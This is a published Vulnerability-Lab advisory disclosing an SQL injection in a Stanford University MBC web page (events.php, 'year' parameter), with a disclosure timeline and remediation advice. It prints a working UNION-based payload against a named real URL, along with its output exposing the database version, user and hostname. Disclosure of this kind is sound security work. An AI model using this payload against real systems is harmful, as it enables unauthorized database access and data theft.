Stanford University (MBC) - SQL Injection Web Vulnerability

2017-05-03T00:00:00
ID VULNERLAB:2004
Type vulnerlab
Reporter Ahsan Tahir (admin@ahsan-tahir.com) [www.ahsan-tahir.com] [https://www.vulnerability-lab.com/show.php?user=Ahsan%20Tahir]
Modified 2017-05-03T00:00:00

Description

                                        
                                            Document Title:
===============
Stanford University (MBC) - SQL Injection Web Vulnerability 


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2004

ID: INC000003888376


Release Date:
=============
2017-05-03


Vulnerability Laboratory ID (VL-ID):
====================================
2004


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
SQL Injection


Product & Service Introduction:
===============================
Stanford University, located between San Francisco and San Jose in the heart of California's Silicon Valley, is one of 
the world's leading teaching and research universities. Since its opening in 1891, Stanford has been dedicated to finding 
solutions to big challenges and to preparing students for leadership in a complex world.

(Copy of the Homepage: http://www.stanford.com/about/)



Abstract Advisory Information:
==============================
The independent security researcher discovered  sql-injection vulnerability in the official Stanford University MBC online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-11-10: Researcher Notification & Coordination (Ahsan Tahir)
2016-11-11: Vendor Notification (Stanford Administrator Team)
2016-11-15: Vendor Response/Feedback (Stanford Administrator Team)
2017-**-**: Vendor Fix/Patch (Stanford Service Developer Team)
2017-05-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered  in the official Stanford University online service web-application.
The vulnerability allows remote attackers to execute own sql commands to compromise the web-server or dbms.

The vulnerability is located in the `year` value of the `events.php` file GET method request. Remote attackers are able to execute own 
malicious sql commands via id value to compromise the web-server or connected database management system. The issue is a classic 
remote sql injection vulnerability. The request method to execute is GET and the attack vector is located on the application-side of the
active web-service.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the remote sql injection web vulnerability requires no user interaction.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.



Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
http://www.stanford.com/group/mbc/cgi-bin/events.php?year=[SQL-Injection Vulnerability!]--


Payload:
2013%20union%20select%201,2,cOncat(%27%3Cbr%3E%27,version(),%27%3Cbr%3E%27,user(),%27%3Cbr%3E%27,database()),4,5,6,7,8,9,10--+


PoC: Output
Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '=
5.5.52-0+deb7u1-log
gmbcmbcdb@www05.stanford.edu
g_mbc_mbc_db' at line 1
query: SELECT type FROM event_types WHERE id=
5.5.52-0+deb7u1-log
gmbcmbcdb@www05.stanford.edu
g_mbc_mbc_db

Note: As you can see that user, db and version is extracted!


Solution - Fix & Patch:
=======================
The sql-injection web vulnerability in the web-application can be patched by usage of a prepared statement in the 
vulnerable events.php file GET method request. Disallow the usage of special chars and escape the input/output context of the module to prevent further sql-injection attacks.




Security Risk:
==============
The security risk of the sql-injection vulnerabilities in the stanford online service web-application is estimated as high. (CVSS 7.1)


Credits & Authors:
==================
Ahsan Tahir (admin@ahsan-tahir.com) [www.ahsan-tahir.com] [https://www.vulnerability-lab.com/show.php?user=Ahsan%20Tahir]




Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

				    Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™